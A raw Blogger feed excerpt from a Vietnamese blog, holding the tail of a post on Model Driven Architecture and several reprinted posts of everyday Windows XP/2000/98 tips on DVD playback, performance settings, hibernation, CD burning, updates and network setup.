text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;The MDA development life cycle is not very different from the traditional life cycle. The artifacts of the MDA are formal models, i.e., models that can be understood by computers. The following three models are at the core of the MDA:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="doclist" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:100%;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:100%;"&gt;Platform Independent Model (PIM), a model with a high level of abstraction, that is independent of any implementation technology.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="doclist" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:100%;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:100%;"&gt;Platform Specific Model (PSM), a model tailored to specify your system in terms of the implementation constructs that are available in one specific implementation technology. A PIM is transformed into one or more PSMs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="doclist" style="margin-left: 0.5in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style=";font-family:Symbol;font-size:100%;"  &gt;&lt;span style=""&gt;·&lt;span style=""&gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:100%;"&gt;Code, a description (specification) of the system in source code. Each PSM is transformed into code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify; text-indent: 0.5in;"&gt;&lt;span style="font-size:100%;"&gt;Traditionally the transformations from model to model, or from model to code, are done mainly by hand. In contrast, MDA transformations are always executed by tools. Many tools have been able to transform a PSM to code; there is nothing new to that. What's new in MDA is that the transformation from PIM to PSM is automated as well.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VII. Reference&lt;br /&gt;&lt;/span&gt;  &lt;p class="MsoNormal" style="margin-left: 1.75in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;span style=""&gt;1.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;a href="http://www.omg.org/mda"&gt;http://www.omg.org/mda&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 1.75in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;span style=""&gt;2.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;a href="http://www.answers.com/Model-driven%20architecture"&gt;http://www.answers.com/Model-driven%20architecture&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 1.75in; text-indent: -0.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;span style=""&gt;3.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;a href="http://www.omg.org/mda/specs.html"&gt;&lt;span style="font-family:VNI-Helve;"&gt;&lt;span style="font-size:100%;"&gt;http://www.omg.org/mda/specs.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt; &lt;h1 style="margin-left: 0in; text-indent: 0in;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span&gt;&lt;a name="_Toc177420454"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:100%;"&gt;                                    4.     &lt;a href="ftp://ftp.uar.net/pub/e-books/addison%20wesley%20-%20mda%20explained.%20the%20model%20driven%20architecture.chm"&gt;Download MDA EBook Here&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-1094556219794944368?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/1094556219794944368/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/model-driven-architecture-mda_14.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1094556219794944368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/1094556219794944368'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/model-driven-architecture-mda_14.html' title='Model Driven Architecture - MDA'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_hQ8-u2sZpD0/Runx5EkJXfI/AAAAAAAAACw/OmoyTElXOxI/s72-c/danglvhblog_022.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5870660009010587915</id><published>2007-09-12T09:12:00.000+07:00</published><updated>2007-09-12T09:12:07.598+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Hiệu chỉnh tốc độ và thủ thuật xem DVD</title><content type='html'>&lt;p style="font-weight: bold;" class="pInterTitle"&gt;61. Bật các điều khiển trong Player:&lt;/p&gt; &lt;p class="pHead"&gt;TTO - Nếu bạn mở một đĩa CD hay DVD bằng Windows Media Player nhưng các nút điều khiển của nó bị vô hiệu hóa, bạn phải hiển thị thanh thực đơn của player (bạn có thể phải nhấn vào nút ở góc trên bên trái nếu đang ở chể độ toàn màn hình). Chọn Play, DVD, VCD or CD Audio (từ hiển thị có thể khác).&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;62. Phóng to thu nhỏ màn hình khi xem DVD:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn dùng Windows Media Player 9 để mở DVD, sử dụng biểu tượng full-screen ở góc dưới bên phải của chương trình để phóng to thu nhỏ, hay nhấn Alt-Enter để chuyển qua lại giữa chể độ toàn màn hình hay bình thường. Di chuyển con trỏ chuột ra phía xa của góc màn hình (sau đó giữ chuột đứng yên) để làm ẩn đi hộp điều khiển và hiển thị hình ảnh trên toàn bộ màn hình. Để hiển thị lại hộp điều khiển di chuyển chuột vào trong vùng hiển thị của màn hình.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;63. Điều khiển tốc độ  DVD:&lt;/p&gt; &lt;p class="pBody"&gt;Khi mở DVD bằng Windows Media Player 9, nhấn chuột hay kéo thanh trượt để di chuyển tới hay lui trở lại. Nhấn Ctrl-Shift-F để xem nhanh các hình ảnh, Ctrl-Shift-G để tăng tốc độ xem, Ctrl-Shift-S để xem chậm lại. Ctrl-Shift-N để chạy lại với tốc độ bình thường.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;64. Điều khiển DVD bằng bàn phím:&lt;/p&gt; &lt;p class="pBody"&gt;Một số phím điều khiển được dùng khi xem DVD là Ctrl-P để tạm dừng hoặc chạy lại, F10 dùng để tăng và F9 dùng để giảm âm lượng, F8 để tắt tiếng.&lt;/p&gt;&lt;p class="pTitle"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;65. (XP) Giảm cảm giác khó chịu khi chạy ứng dụng, phần 1:&lt;/p&gt; &lt;p class="pHead"&gt;TTO - Nếu các ứng dụng trong máy tính của bạn mở quá chậm, bạn có thể cải thiện bằng cách tắt một số hiệu ứng hình ảnh của Windows. Nhấn chuột phải trên My Computer, và chọn Properties. Lựa thẻ Advanced, và dưới Performance, nhấn nút Settings. Bên dưới thẻ Visual Effect, chọn Adjust for best performance hoặc Custom, sau đó tắt tất cả các hiệu ứng không cần thiết.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;66. (98, 2K, ME) Giảm cảm giác khó chịu khi chạy ứng dụng, phần 2:&lt;/p&gt; &lt;p class="pBody"&gt;Để thực hiện vấn đề này trong Windows 98, 2000 hoặc Me, nhấp chuột phải trên desktop và chọn Properties. Nhấn chọn thẻ Effects, bỏ đánh dấu các mục trong Visual Effect cho đến khi bạn thấy tốc độ của nó tốt hơn. Trong Windows 98, tắt Animate windows, menus and lists, và trong cả 3 phiên bản bạn có thể bỏ chọn Show window contents while dragging.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;67. (XP) Thiết lập các quyền ưu tiên:&lt;/p&gt; &lt;p class="pBody"&gt;Hộp thoại Performance Options trong Windows XP cho phép bạn điều khiển giới hạn việc sử dụng bộ nhớ của Windows và quyền ưu tiên của các nhiệm vụ cho bộ xử lý trong máy tính. Để kiểm tra các cài đặt, mở hộp thoại Performance Options được trình bày trong phần 65, chọn Advanced. Dưới Processor Scheduling, giữ nguyên Programs được chọn để cho các ứng dụng thông thường của bạn  chạy với quyền ưu tiên cao hơn so với các ứng dụng chạy nền bên dưới. Tuy nhiên, nếu bạn thường làm việc với một ứng dụng trong khi các ứng dụng khác thì đang sắp xếp trên cơ sở dữ liệu, in các hình đồ họa lớn, hay thực hiện một nhiệm vụ khác cần dùng nhiều bộ xử lý ngầm bên dưới, thì bạn nên lựa Background services để thời gian chia sẻ bộ xử lý cho tất cả các tác vụ đều bằng nhau thay vì ưu tiên cho các ứng dụng thông thường. Bạn nên sử dụng cài đặt mặc định Programs của Memory usage. Chọn System cache chỉ khi bạn muốn sử dụng máy tính như một máy chủ thay vì máy trạm.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;68. Kiểm tra tính tương thích với hibernate:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn muốn Windows khởi động trong vài giây tất cả các ứng dụng và tài liệu được mở giống như trước khi bạn tắt máy, thử dùng chế độ hibernate. Trong thanh Address của cửa sổ Explorer hay Internet Explorer, nhập Control Panel\Power Options. Nếu trong hộp thoại Power Options Properties không có thẻ Hibernate, thì máy bạn không có chế độ này. Ngược lại nếu có chức năng này, chọn nó và kiểm tra xem máy tính của bạn có đáp ứng các yêu cầu về không gian đĩa cho chế độ Hibernate hay không.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;69. Cài đặt chế độ Hibernate, phần 1:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu hệ thống của bạn có hỗ trợ chế độ hibernate, bật nó bằng cách chọn thẻ Hibernate của hộp thoại Power Options Properties (xem trong phần 68) và chọn Enable hibernation.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;70. Cài đặt chế độ Hibernate, phần 2:&lt;/p&gt; &lt;p class="pBody"&gt;Ngay khi chế độ hibernate được bật, chọn Start, Shut Down hoặc Start, Turn Off Your Computer để tắt máy. Nếu bạn chọn Shut Down, lựa Hibernate và nhấn OK. Còn nếu chọn Turn Off Your Computer, thì bạn nhấn giữ phím Shift để chọn biểu tượng Standby cho chể độ hibernate, sau đó nhấn chuột chọn nó.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;71. Đường biên lớn:&lt;/p&gt; &lt;p class="pBody"&gt;Làm cho đường biên của các cửa sổ dễ dàng để chọn hơn. Bạn có từng phải cố gắng để chọn vị trí đặt chuột trên đường biên cửa sổ để làm thay đổi kích thước của cửa sổ chưa? Nó thật đáng sợ, để thay đổi kích thước cửa sổ dễ dàng hơn, đầu tiên nhấn chuột phải trên desktop, chọn Properties, sau đó nhấn trên thẻ Appearance (chọn thẻ Advanced cho Windows XP). Từ danh sách Item, chọn Active Window Border, và tăng kích thước của đường biên bằng cách tăng giá trị trong ô Size.&lt;/p&gt;&lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt; &lt;/p&gt; &lt;div style="text-align: right;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5870660009010587915?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5870660009010587915/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-hiu-chnh-tc-v-th.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5870660009010587915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5870660009010587915'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-hiu-chnh-tc-v-th.html' title='76 mẹo vặt trong Windows: Hiệu chỉnh tốc độ và thủ thuật xem DVD'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3383273038552558804</id><published>2007-09-12T08:58:00.001+07:00</published><updated>2007-09-12T08:58:59.962+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: GHI CD</title><content type='html'>&lt;p style="font-weight: bold;" class="pInterTitle"&gt;53. Bật tính năng ghi CD:&lt;/p&gt; &lt;p class="pHead"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26848" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt; &lt;p class="pHead"&gt;TTO - Với một đĩa trắng được chèn vào trong ổ đĩa ghi CD, nhấn Windows-E để mở cửa sổ Explorer, nhấp chuột phải trên biểu tượng của ổ đĩa, chọn Properties, Recording, và chắc chắn rằng Enable CD recording on this drive đã được chọn (xem hình 9). &lt;/p&gt; &lt;p class="pBody"&gt;Chú ý rằng các thẻ và tùy chọn trong hộp thoại CD Drive Properties là đặc trưng của ổ đĩa, những cái khác thì thay đổi tùy theo ổ đĩa. &lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;54. (XP) Dùng của nhà cung cấp thứ 3:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn sử dụng chức năng ghi CD bằng phần mềm khác như Roxio Easy CD &amp; DVD Creator (&lt;a href="http://www.roxio.com/"&gt;http://www.roxio.com/&lt;/a&gt;), thực hiện các bước giống như mục 53, nhưng không chọn Enable CD recording on this drive (hoặc tùy chọn tương đương trên ổ đĩa của bạn). Bằng cách này, chức năng ghi CD của Windows sẽ không đụng với tiện ích ghi CD mà bạn đang dùng.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;55. (XP) Thay đổi nơi lưu trữ ảnh của CD:&lt;/p&gt; &lt;p class="pBody"&gt;Windows có dành một không gian trên đĩa cứng để lưu trữ những nội dung sẽ được ghi lên đĩa CD, thường khoảng 650MB đến 700MB, nhưng khoảng 1GB trên các ổ đĩa còn khả năng lưu trữ lớn. Bạn có thể chỉ định cho Windows chọn ổ đĩa có không gian trống lớn để lưu trữ: mở hộp thoại CD Drive Properties như trình bày trong phần 53 và chọn thẻ Recording (hoặc tùy chọn tương đương tùy theo ổ đĩa của bạn). Chọn một trong các ổ đĩa hiển thị trong danh sách bên dưới Desktop CD recording.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;56. Giảm tốc độ ghi:&lt;/p&gt; &lt;p class="pBody"&gt;Mặc định Windows thường ghi với tốc độ nhanh nhất theo ổ đĩa CD-R. Nếu bạn có một số trục trặc, giảm tốc độ xuống: mở hộp thoại CD Drive Properties và chọn thẻ Recording và lựa tốc độ thấp hơn trong danh sách liệt kê các tốc độ có thể ghi được nằm dưới Select a write speed.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;57. (XP) Ghi các tập tin lên CD:&lt;/p&gt; &lt;p class="pBody"&gt;Bạn có thể chọn các tập tin muốn ghi lên đĩa CD trong Windows Explorer, và kéo chúng vào trong biểu tượng ổ đĩa hoặc chỉ nhấp chuột phải lên các tập tin được chọn, và nhấn Send To, chọn để gởi đến ổ đĩa CD. Windows sẽ sao chép tất cả các tập tin này đến một vùng được chỉ định chứ không ghi chúng trực tiếp lên đĩa CD. Có thể nhấp đúp chuột lên biểu tượng của ổ đĩa để xem nội dung của tập tin. Trong khung tác vụ bên trái, chọn Write these files to CD khi bạn sẵn sàng ghi và thực hiện các bước theo hướng dẫn trong CD Writing Wizard.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;58. Tạo các CD nhạc với Windows Media Player:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn sử dụng Windows Media Player 9 để tạo một playlist tuỳ biến. Bạn có thể sao chép các tập tin nhạc đó lên đĩa CD. Với Windows Player, mở trong chế độ toàn màn hình, chọn Copy to CD or Device ở bên trái. Chọn playlist từ danh sách Music to Copy. Nếu bạn thấy Will not fit trong cột trạng thái của playlist, bỏ chọn một số tập tin. Cuối cùng chọn Copy Music trên góc trên bên phải của chương trình.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;59. Tạo CD nhạc với một phần mềm khác:&lt;/p&gt; &lt;p class="pBody"&gt;Windows Media Player 9 được cung cấp miễn phí, cho phép sao chép các tập tin vào trong ổ đĩa CD, nhưng tiện ích của các nhà cung cấp thứ 3 cho bạn nhiều tùy chọn hơn, bao gồm cả khả năng sao chép các CD âm nhạc mà không làm mất đi chất lượng âm thanh, điều này xảy ra trong Windows Media Player do tính năng chuyển đổi dạng format của nó.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;60. Ký tự đặc biệt:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu trong một tài liệu của bạn cần một số ký tự đặc biệt không phổ biến, chọn Start, Programs (All Programs nếu trong Windows XP), Accessories, System Tools, Character Map, hoặc chỉ cần nhấn phím Windows-R, nhập vào charmap, và sau đó nhấn Enter (nếu như trong máy tính của bạn chưa cài đặt character map, xem mục 47 cách hướng dẫn cách cài đặt). Chọn font cần dùng, sau đó nhấp đúp chuột lên ký tự bạn muốn chèn vào trong tài liệu, rồi nhấn nút Copy để dán các ký tự đó vào trong tài liệu. Trong Windows 2000 và XP bạn có thể kéo thả các ký tự trong ô nhập liệu Characters to copy (hình bên dưới) của chương trình character map vào trong WordPad hoặc các ứng dụng khác.&lt;/p&gt; &lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt; &lt;/p&gt; &lt;div style="text-align: right; font-style: italic;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3383273038552558804?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3383273038552558804/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-ghi-cd.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3383273038552558804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3383273038552558804'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-ghi-cd.html' title='76 mẹo vặt trong Windows: GHI CD'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2213915550328083674</id><published>2007-09-12T08:57:00.002+07:00</published><updated>2007-09-12T08:57:33.380+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Bắt đầu thuận lợi</title><content type='html'>&lt;p style="font-weight: bold;" class="pInterTitle"&gt;45.(XP) Thực hiện di chuyển thông minh:&lt;/p&gt; &lt;p class="pHead"&gt;TTO - Sử dụng Files and Settings Transfer Wizard là cách tốt nhất để chuyển tất cả các cài đặt trên Windows của bạn từ máy tính này đến máy tính khác. Bạn có thể chuyển tất cả các file và cài đặt của Internet Explorer, Outlook Express và các phần khác trong Windows thông qua mạng hoặc dùng đĩa tháo lắp. &lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26747" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Trước tiên cài tất cả các ứng dụng của bạn trên máy mới, sau đó chọn Start, All Programs, Accessories, System Tools, Files and Settings Transfer Wizard, và thực hiện theo các chỉ dẫn (xem hình 7).&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;46.(XP) Đừng quên khi có số lượng thư lớn:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn chọn Setting only khi chạy Files and Settings Transfer Wizard và sử dụng đĩa mềm để di chuyển các cài đặt. Windows chỉ chuyển các thư trong Outlook Express khi số lượng thư có thể chứa hết trong đĩa. Hãy sử dụng các đĩa có dung lượng lớn hơn sao cho nó có thể chứa tất cả các thư điện tử hiện có trên máy của bạn.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;47.(All) Sử dụng tất cả các tính năng mà hệ điều hành cung cấp cho bạn:&lt;/p&gt; &lt;p class="pBody"&gt;Không phải tất cả các công cụ hay tiện ích nào của Windows mà bạn cần đều được cài đặt trên máy tính. Mở bất kỳ cửa sổ thư mục hoặc Explorer, sau đó nhập vào thanh Address nội dung Control Panel\ Add/Remove Programs (nếu bạn dùng Windows 98, 2000 hoặc Me) hay Control Panel\ Add or Remove Programs nếu dùng Windows XP. Nhấn vào nút Windows Setup hoặc Add.Remove Windows Components, chọn một thành phần, và nhấn nút Details (nếu có). Bạn có thể nhấn vào nút Details thêm lần nữa để thấy thêm một số thành phần con. Chọn các thành phần mà bạn muốn cài đặt. Có thể bạn sẽ được yêu cầu chèn đĩa Windows CD vào trong khay đĩa để cài đặt các thành phần được chọn.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;48.(2K, ME, XP) Tăng tốc độ cho các ổ đĩa của bạn:&lt;/p&gt; &lt;p class="pBody"&gt;Để tạo shortcut thực hiện chức năng làm sạch ổ đĩa của bạn theo cách mà bạn muốn, chọn Start, Run và đánh vào câu lệnh cleanmgr/sageset:, sau đó nhập vào một số từ 0 đến 65535, rồi nhấn Enter (số nhập vào biểu diễn cho chức năng mà bạn muốn chọn. Chọn các cài đặt mà bạn muốn rồi nhấn OK. Để tạo một shortcut thực hiện chức năng Disk Cleanup, nhấn chuột phải trên Desktop hoặc trong một thư mục và chọn New, Shortcut. Trong ô nhập liệu, đánh vào lệnh cleanmgr /sagerun:x (thay x bằng số mà bạn nhập vào ở trên), sau đó thực hiện các hướng dẫn để hoàn thành việc tạo shortcut.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;49.(2K, ME, XP) Cập nhật tự động:&lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26748" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Để tự động thực hiện tiện ích Windows Update trong Windows XP. Nhấn chuột phải vào My Computer, chọn Properties, và nhấn chọn thẻ Automatic Updates. Trong Windows 2000 và XP, chọn Keep my computer up to date. Trong các phiên bản còn lại, chọn một trong tùy chọn được đưa ra (xem hình 8).&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;50. (ME, XP) Bỏ các cập nhật tự động:&lt;/p&gt; &lt;p class="pBody"&gt;Windows tạo ra một điểm phục hồi trước khi nó thực hiện việc cập nhật. Xem lại mục 24 để thấy các hướng dẫn bắt đầu System Restore. Trên màn hình Select a Restore Point, chọn ngày cập nhật, chọn điểm phục hồi trước khi có cập nhật này, chọn Next, và thực hiện theo chỉ dẫn.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;51.(98, 2K) Thêm tiện ích cập nhật:&lt;/p&gt; &lt;p class="pBody"&gt;Phiên bản Windows 98 và 2000 trước Service Pack 3 cần tiện ích Windows Critical Update Notification đề kiểm tra các phần đã được cập nhật tự động. Nhấn đúp chuột lên biểu tượng Scheduled Tasks trong khay hệ thống hoặc trong Control Panel. Nếu tiện ích chưa có ở đó, vào trang windowsupdate.microsoft.com, chọn Pick updates to install, sau đó chọn Critical Updates and Service Packs. Tìm và chọn tiện ích này.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;52. (All) Cập nhật bằng tay:&lt;/p&gt; &lt;p class="pBody"&gt;Để làm mới Windows theo cách củ, bạn sẽ tự tìm các miếng vá có sẵn để cập nhật: chọn Start, Windows Update or Start, All Programs, Windows Update và thực hiện các hướng dẫn tại trang Windows Update.&lt;/p&gt; &lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt; &lt;/p&gt; &lt;p style="text-align: right;" class="pAuthor"&gt;&lt;span style="font-style: italic;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2213915550328083674?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2213915550328083674/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-bt-u-thun-li.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2213915550328083674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2213915550328083674'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-bt-u-thun-li.html' title='76 mẹo vặt trong Windows: Bắt đầu thuận lợi'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-5567540085300821077</id><published>2007-09-12T08:55:00.002+07:00</published><updated>2007-09-12T08:55:26.735+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Các thủ thuật về mạng</title><content type='html'>&lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;33. (XP) Cho Windows tự cài đặt mạng:&lt;/span&gt; &lt;/p&gt; &lt;p class="pHead"&gt;TTO - Bước đầu tiên bạn phải kết nối các máy lại thành một mạng, các bước trong Windows XP’s Network Setup Wizard sẽ giúp bạn một cách chi tiết. Để chạy được wizard này bạn chọn Start, Run, đánh lệnh netsetup và nhấn Enter.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;34. (XP) Thiết lập mạng không 